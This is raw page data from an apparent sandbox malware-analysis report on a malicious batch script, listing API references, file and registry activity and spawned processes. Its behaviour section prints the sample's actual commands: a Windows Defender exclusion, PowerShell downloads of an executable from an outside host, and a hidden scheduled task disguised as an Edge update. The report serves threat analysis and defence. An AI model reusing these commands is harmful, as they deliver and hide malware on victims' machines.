21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 4e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4db,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CMD:BZC.PZQ.Boxter.1139 Sample 0b6d995b8b6a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0b6d995b8b6a…. Malware family: CMD:BZC.PZQ.Boxter.1139. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7","keywords":["Malicious","CMD:BZC.PZQ.Boxter.1139","malware analysis","sandbox report","threat intelligence","0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7"],"about":{"@type":"SoftwareApplication","name":"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin","applicationCategory":["script","bat"],"identifier":"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CMD:BZC.PZQ.Boxter.1139","antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":4,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:Tc41,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "$tempFilePath = [System.IO.Path]::GetTempFileName()" (Indicator: "GetTempFileName"; Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp")23:T41e2,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004260.00000000.130220.2F470000.00000004.mdmp, 00000000-00004260.00000001.130471.2F470000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp, 00000000-00004260.00000001.130471.49830000.00000004.mdmp")24:T4e2,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_uq5acyoc.v3r.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_dydap4tc.kle.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qktj35yv.ex1.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_u5t5jwg1.bep.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ggxy1nfv.exe" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ebwogeti.hln.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_3iv1ixkp.32d.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\ggxy1nfv.exe" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_zl3qdygn.x0j.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_n3xcv31d.pth.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\ggxy1nfv.exe" with delete access25:T4a3,Spawned process "cmd.exe" with commandline "/c ""C:\\0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin.bat" "" (UID: 00000000-00007120) Spawned process "cacls.exe" with commandline ""%WINDIR%\\system32\\config\\system"" (UID: 00000000-00000244) Spawned process "powershell.exe" with commandline "powershell -Command "Add-MpPreference -ExclusionPath '%APPDATA%\\ggxy1nfv.exe' -ErrorAction SilentlyContinue"" (UID: 00000000-00004260) Spawned process "powershell.exe" with commandline "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%TEMP%\\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (UID: 00000000-00004524) Spawned process "powershell.exe" with commandline "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%LOCALAPPDATA%\\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (UID: 00000000-00003924) Spawned process "powershell.exe" with commandline "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%APPDATA%\\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (UID: 00000000-00004544)26:T9fb,"cmd.exe" queried SystemProcessInformation at 00000000-00007120-00000C15-995101934 [PID: 7120] "cmd.exe" queried SystemProcessInformation at 00000000-00007120-00000C15-995111146 [PID: 7120] "cmd.exe" queried SystemProcessInformation at 00000000-00007120-00000C15-995397725 [PID: 7120] "cmd.exe" queried SystemProcessInformation at 00000000-00007120-00000C15-995406783 [PID: 7120] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-996198760 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-996207807 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-997636066 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-997645800 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-998416369 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-998437648 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-998794003 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-998802984 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-998964610 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-998981494 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-999759574 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-1000676405 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-1000733610 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-1001598684 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004260-00000C15-1001608135 [PID: 4260] "powershell.exe" queried SystemProcessInformation at 00000000-00004524-00000C15-1005343678 [PID: 4524] "powershell.exe" queried SystemProcessInformation at 00000000-00004524-00000C15-1005352922 [PID: 4524] "powershell.exe" queried SystemProcessInformation at 00000000-00004524-00000C15-1007082988 [PID: 4524] "powershell.exe" queried SystemProcessInformation at 00000000-00004524-00000C15-1007092462 [PID: 4524] "powershell.exe" queried SystemProcessInformation at 00000000-00004524-00000C15-1007879904 [PID: 4524] "powershell.exe" queried SystemProcessInformation at 00000000-00004524-00000C15-1007888639 [PID: 4524]27:T609,Found string "set "ds=%TEMP% %LOCALAPPDATA% %APPDATA%"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "TaskName=MicrosoftEdgeUpdateTaskCoressezv3hw"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "Self=%~f0"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "B64File=%TMP%\node.b64"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "RunnerPS1=%TMP%\runner.ps1"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "path1=%TEMP%\ggxy1nfv.exe"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "path2=%LOCALAPPDATA%\ggxy1nfv.exe"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "path3=%APPDATA%\ggxy1nfv.exe"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "fullPath=%%d\ggxy1nfv.exe"" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "set "TaskAction=powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ^"!RunnerPS1!^""" (Indicator: "set "; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin")28:T482,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp")29:T4a8,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "16868000446,6204,3024,,RtlGetVersion,NTDLL.dll,"00:34:15.515",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found reference to API "17421920300,6204,3024,,RtlGetVersion,NTDLL.dll,"00:34:15.734",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp")2a:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: 